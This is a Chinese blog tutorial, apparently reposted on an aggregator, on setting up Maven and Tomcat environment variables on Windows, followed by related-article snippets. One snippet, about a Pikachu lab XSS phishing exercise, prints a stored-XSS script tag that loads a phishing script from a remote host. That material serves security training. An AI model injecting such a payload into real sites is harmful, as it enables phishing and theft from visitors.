【maven与tomcat配置】如何正确配置maven及tomcat环境变量及运行Java项目 (附图文说明及下载包)

maven及tomcat配置详解

  • 🍔涉及知识
  • 🥤写在前面
  • 🍧一、maven和tomcat是啥?
  • 🍧二、maven环境变量配置
    • 2.1获取maven包
    • 2.2创建本地仓库及修改配置
      • A.校验是否安装java
      • B.创建本地maven存放仓库
      • C.修改config的setting文件
    • 2.3配置maven环境变量
    • 2.4验证maven版本信息
  • 🌳三、tomcat环境变量配置
    • 3.1 下载tomcat包
    • 3.2 配置环境变量
    • 3.3 验证tomcat成功与否
  • 🐋四、maven/tomcat组件包获取
    • 4.1 源包获取方式
  • 🌅 作者寄语

🍔涉及知识

本地如何正确配置tomcat和maven,tomcat环境变量配置,maven环境变量配置,idea如何使用maven及tomcat运行java项目,tomcat启动运行java数据库系统。


讲专栏✨:工具类使用
🌝关于我🌝:一个持续输出型博主,爱分享,喜技术,期待关注与交流!
🧡公众号🧡:《IT黄大大》更多分享抢先看;
🌈说主题🌈:影视,明星,家乡,旅游,个人,美食,校园,商城,运动,特效等
🍗谈技术🍗:HTML+CSS,HTML+CSS+JS,Java+数据库,vue项目,aspx,jsp等
📝讲软件📝:vscode,dreamweaver,hbuilder,sublime text,eclipse,idea,VS等;


声明:原创于博主《IT黄大大》,欢迎大家转载,烦请转前注明出处,感谢大家的支持,更多专栏可关注文尾唯心宫众号《IT黄大大》

🥤写在前面

毕业季将近,有很多粉丝都会问到我一个问题,我有java代码怎么去运行(验证)这个项目呢,大大能不能出一期教学啊,那么今天我就在一台干净的电脑上去做这个操作了,当然这个是基于SSM架构的项目用的比较的多,tomcat在springboot项目中已经可以舍弃了,主要是因为它内置了容器可以直接运行,今天我就重点讲一下如何配置本地maven环境变量及tomcat环境变量,及如何去认证本地是否安装成功。

🍧一、maven和tomcat是啥?

Tomcat其实就是个运行容器,maven是提供代码运行中一些jar包依赖。
鉴于有些小白,我说的通俗易懂一些吧,毕设管理系统好比是我们去做一道菜,tomcat就好比是灶台,maven是柴火,jdk好比是锅,我们菜要烧出来必须是得有运行的容器,也就是在灶台这个环境,maven是为锅提供源源不断的热量,也就是java运行必须得有maven下载运行所需的包,那么jdk也就是最基础的语言,代码运行语言去实现系统,烧好一道菜没有锅发热啥都别想了。
希望这样的一个小小的比喻,让大家更能理解这个概念了。
我这边运行的maven和tomcat版本如下:
Maven版本:apache-maven-3.5.0
Tomcat版本:apache-tomcat-9.0.37

声明:原创于博主《IT黄大大》,欢迎大家转载,烦请转前注明出处,感谢大家的支持,更多专栏可关注文尾唯心宫众号《IT黄大大》

🍧二、maven环境变量配置

2.1获取maven包

博主已经把这个包下载链接放在文尾了,当然如果大家想要最新版本的话可以去官网下载:
下载下来之后我们切记放在我们的本地,最好【不要放在中文目录】下,也切记【不要放在Program Files文件】下
为啥这么说,因为我提供远程服务时候发现,有些人的Program Files文件有修改权限设置,也就是一些系统文件是不允许修改的,为了不必要的麻烦尽量别放在这边,我是自己在电脑磁盘上创建了一个setUp文件,然后将解压后的maven放在了setUp文件夹下,如下图所示:
在这里插入图片描述

2.2创建本地仓库及修改配置

A.校验是否安装java

当然基于上面的解压完成之后,我们得本地安装好java环境,且已经配置过环境变量,检测java安装情况可以win+R输入cmd命令后在黑色框里面输入如下命令:
java -version,如有版本信息说明安装成功。
在这里插入图片描述

B.创建本地maven存放仓库

在maven的同级目录下创建一个maven-repository文件,用于存放下载的依赖包,这样的话就可以在本地运行了。
在这里插入图片描述

C.修改config的setting文件

到maven的该目录下,右击修改settings.xml文件
在这里插入图片描述
将里面的本地仓库路径改成刚在B步骤创建的文件夹路径:
在这里插入图片描述
如果不是下载博主分享的包需要自己配置阿里云仓库下载,不然你运行项目时候下载包会特别慢,为了更高速高效下载建议你配置阿里云镜像。
在这里插入图片描述

2.3配置maven环境变量

在前面的准备完成之后,我们可以右击我的电脑,选择属性,然后弹出如下所示框,点击高级系统设置
在这里插入图片描述
进入环境变量设置框,系统变量下新增:
在这里插入图片描述

新建后弹窗,输入MAVEN_HOME和对应的【本地电脑安装路径】,如下所示:
在这里插入图片描述

点击确定后点击系统变量的Path然后编辑:
在这里插入图片描述

声明:原创于博主《IT黄大大》,欢迎大家转载,烦请转前注明出处,感谢大家的支持,更多专栏可关注文尾唯心宫众号《IT黄大大》
到这里一路确定就配置好了MAVEN的环境变量,是不是很简单。

2.4验证maven版本信息

继续在cmd命令后的黑色弹窗里面输入如下指令
mvn -v
如果出现版本信息说明本地全都配置成功了,如下图所示:
在这里插入图片描述

🌳三、tomcat环境变量配置

3.1 下载tomcat包

博主在文尾也有分享对应的tomcat包下载链接,当然要是想去官网下载最新版的可以去找官网看看。和maven性质一样,也是不建议放在中文路径和Program Files文件目录下,具体原因前面解释了,这边不做过多陈述。
如下所示:
在这里插入图片描述

3.2 配置环境变量

主要配置如下:
在这里插入图片描述

这个相对maven没有java依赖,所以不用改配置文件,直接配置环境变量即可,也是一样的进入【高级系统设置】-【环境变量】如下所示,在系统变量里面添加一个CATALINA_BASE和CATALINA_HOME,路径都是指向我们解压后存放tomcat的文件夹,如下所示:
在这里插入图片描述
在这里插入图片描述
在这里插入图片描述

然后就是一路确定即可。

3.3 验证tomcat成功与否

Cmd下进入tomcat的bin路径下,输入启动指令,如下图所示:
在这里插入图片描述
然后在浏览器中输入localhost:8080后出现如下界面说明tomcat完成
在这里插入图片描述

声明:原创于博主《IT黄大大》,欢迎大家转载,烦请转前注明出处,感谢大家的支持,更多专栏可关注文尾唯心宫众号《IT黄大大》

🐋四、maven/tomcat组件包获取

4.1 源包获取方式

1、灌注唯心公众号【IT黄大大

2、回复【tomcat】或【maven

3、即可获取百度网盘下载链接。

在这里插入图片描述

🌅 作者寄语

如果我的这篇博客对您有帮助、而且您喜欢我的博客内容,请 “点赞” “评论” “收藏” 一键三连哦!当然如果这个文章对您带来不好的体验还希望能多多包涵,一起学习进步。

【关注我 | 获取更多源码 | 优质文章】 带您学习前端知识、CSS特效、3D炫酷效果、图片展示、文字效果、以及整站模板 、大学生毕业HTML模板 、期末大作业模板等! 「在z公z众z号<IT黄大大>里也会定期分享一些免费好看的html页面,期待您的关注哈」!
声明:原创于博主《IT黄大大》,欢迎大家转载,烦请转前注明出处,感谢大家的支持,更多专栏可关注文尾唯心宫众号《IT黄大大》
2024年我们一起加油,一起成长,感谢您的支持与谅解!
声明:原创于博主《IT黄大大》,欢迎大家转载,烦请转前注明出处,感谢大家的支持,更多专栏可关注文尾唯心宫众号《IT黄大大》

本文来自互联网用户投稿,该文观点仅代表作者本人,不代表本站立场。本站仅提供信息存储空间服务,不拥有所有权,不承担相关法律责任。如若转载,请注明出处:http://www.rhkb.cn/news/330966.html

如若内容造成侵权/违法违规/事实不符,请联系长河编程网进行投诉反馈email:809451989@qq.com,一经查实,立即删除!

相关文章

【代码随想录】二分查找算法总结篇

目录 前言二分查找例题一例题二例题三例题四 前言 本篇文章记录了代码随想录二分查找算法的总结笔记&#xff0c;下面我们一起来学习吧&#xff01;&#xff01; 二分查找 关于二分查找算法&#xff0c;我在之前的这篇博客里面做了非常多的分析&#xff0c;但是后面做题做着…

【ETAS CP AUTOSAR工具链】ARXML文件详解

本篇文章首先对ARXML这种文件格式做了一个概述&#xff0c;叙述了这种标签语言的基本语法&#xff08;如果您用HTML做过网页&#xff0c;那么这种格式您一定不会陌生&#xff09;&#xff0c;然后对ARXML文件都会包含的一些基本信息做了详细的解读&#xff0c;最后基于使用ISOL…

Java使用apache.poi生成word

加油&#xff0c;打工人&#xff01; 工作需求&#xff0c;将现有的word模板有段落和表格&#xff0c;从数据库中查出数据并填充&#xff0c;word里面也有表格数据&#xff0c;需要将excel表格数据单独处理&#xff0c;然后插入到生成好的word文档中。 下面代码模拟从数据库查出…

力扣刷题---3146. 两个字符串的排列差

题目描述 给你两个字符串 s 和 t&#xff0c;每个字符串中的字符都不重复&#xff0c;且 t 是 s 的一个排列。 排列差 定义为 s 和 t 中每个字符在两个字符串中位置的绝对差值之和。 返回 s 和 t 之间的 排列差 。 示例 1&#xff1a; 输入&#xff1a;s “abc”, t “b…

【安装配置】WSL虚拟机导出、导入镜像(涉及到docker无法在wsl下使用的问题)

背景 WSL&#xff08;Windows Subsystem Linux&#xff09;&#xff0c;是微软提供的在Windows下便携地使用Linux系统的方式&#xff0c;它支持使用虚拟化技术&#xff08;也就是要在bios和控制面板中开启虚拟化支持&#xff09;&#xff0c;完美支持Ubuntu和Windows文件系统之…

泪目!网络连接中断的原因,终于找到了!

朋友们&#xff0c;出大事了&#xff01; 不知道多少朋友玩过 DNF 这个游戏&#xff0c;这个我从小学玩到大学的 “破” 游戏&#xff0c;昨天竟然出手游了&#xff01; 我都忘了自己曾几何时预约过这个手游通知&#xff0c;昨天给我发了条通知信息说游戏已开服。 老玩家直接…

一些常见的程序设计问题

秒杀 redis缓存库存 1.判断库存名额是否充足&#xff0c;2.进行扣减 为了防止超卖&#xff0c;必须保证这两部的原子性 库存扣减后发送mq消息&#xff0c;去异步执行创建订单流程&#xff0c;创建订单失败会造成少卖。可加重试机制&#xff0c;对多次重试依旧失败的&#xff…

基于Netty实现WebSocket服务端

本文基于Netty实现WebSocket服务端&#xff0c;实现和客户端的交互通信&#xff0c;客户端基于JavaScript实现。 在【WebSocket简介-CSDN博客】中&#xff0c;我们知道WebSocket是基于Http协议的升级&#xff0c;而Netty提供了Http和WebSocket Frame的编解码器和Handler&#…

解锁数据关联之道:SQL 表连接详解

文章目录 概述表关系横向连接内连接 inner join左连接 left join右连接 right join全连接 full join交叉连接 cross join 纵向合并UNION ALLUNION 概述 在数据处理、数据分析中常会用到表连接。表连接的作用是将多个表中的数据关联起来&#xff0c;以便在查询过程中获取更全面…

设计模式—23种设计模式重点 表格梳理

设计模式的核心在于提供了相关的问题的解决方案&#xff0c;使得人们可以更加简单方便的复用成功的设计和体系结构。 按照设计模式的目的可以分为三大类。创建型模式与对象的创建有关&#xff1b;结构型模式处理类或对象的组合&#xff1b;行为型模式对类或对象怎样交互和怎样…

正确可用--Notepad++批量转换文件编码为UTF8

参考了:Notepad批量转换文件编码为UTF8_怎么批量把ansi转成utf8-CSDN博客​​​​​​https://blog.csdn.net/wangmy1988/article/details/118698647我参考了它的教程,但是py脚本写的不对. 只能改一个.不能实现批量更改. 他的操作步骤没问题,就是把脚本代码换成我这个. #-*-…

1、pikachu靶场之xss钓鱼复现

一、复现过程 1、payload <script src"http://127.0.0.1/pkxss/xfish/fish.php"></script> 将这段代码插入到含有储存xss的网页上&#xff0c;如下留言板 2、此时恶意代码已经存入数据库&#xff0c;并存在网页中&#xff0c;当另一个用户打开这个网页…

uniapp+canvas实现逐字手写效果

在移动端使用 UniApp 进行逐字手写的功能。用户可以在一个 inputCanvas 上书写单个字&#xff0c;然后在特定时间后将这个字添加到 outputCanvas 上&#xff0c;形成一个逐字的手写效果。用户还可以保存整幅图像或者撤销上一个添加的字。 初始化 Canvas&#xff1a; 使用 uni.c…

使用FFmpeg推流实现在B站24小时点歌直播

使用FFmpeg推流实现在B站24小时点歌直播 本文首发于个人博客 安装FFmpeg centos7 https://www.myfreax.com/how-to-install-ffmpeg-on-centos-7/ https://linuxize.com/post/how-to-install-ffmpeg-on-centos-7/ 使用FFmpeg在B站直播 https://zhuanlan.zhihu.com/p/2395…

超级初始网络

目录 一、网络发展史 1、独立模式 2、局域网 LAN&#xff08;Local Area Network&#xff09; 3、广域网 WAN (Wide Area Network) 二、网络通信基础 1、IP地址&#xff1a;用于定位主机的网络地址 2、端口号&#xff1a;用于定位主机中的进程 3、网络协议 4、五元组 …

基于卷积神经网络的交通标志识别(pytorch,opencv,yolov5)

文章目录 数据集介绍&#xff1a;resnet18模型代码加载数据集&#xff08;Dataset与Dataloader&#xff09;模型训练训练准确率及损失函数&#xff1a;resnet18交通标志分类源码yolov5检测与识别&#xff08;交通标志&#xff09; 本文共包含两部分&#xff0c; 第一部分是用re…

LeetCode 279 —— 完全平方数

阅读目录 1. 题目2. 解题思路3. 代码实现 1. 题目 2. 解题思路 此图利用动态规划进行求解&#xff0c;首先&#xff0c;我们求出小于 n n n 的所有完全平方数&#xff0c;存放在数组 squareNums 中。 定义 dp[n] 为和为 n n n 的完全平方数的最小数量&#xff0c;那么有状态…

mysql中text,longtext,mediumtext区别

文章目录 一.概览二、字节限制不同三、I/O 不同四、行迁移不同 一.概览 在 MySQL 中&#xff0c;text、mediumtext 和 longtext 都是用来存储大量文本数据的数据类型。 TEXT&#xff1a;TEXT 数据类型可以用来存储最大长度为 65,535(2^16-1)个字符的文本数据。如果存储的数据…

【服务器】使用mobaXterm远程连接服务器

目录 1、安装mobaXterm2、使用mobaXterm3、程序后台保持运行状态 1、安装mobaXterm 下载地址&#xff1a;https://mobaxterm.mobatek.net/download.html 下载免费版 分为蓝色便携版&#xff08;下载后可直接使用&#xff09;和绿色安装版&#xff08;需要正常安装后使用&…

【老王最佳实践-6】Spring 如何给静态变量注入值

有些时候&#xff0c;我们可能需要给静态变量注入 spring bean&#xff0c;尝试过使用 Autowired 给静态变量做注入的同学应该都能发现注入是失败的。 Autowired 给静态变量注入bean 失败的原因 spring 底层已经限制了&#xff0c;不能给静态属性注入值&#xff1a; 如果我…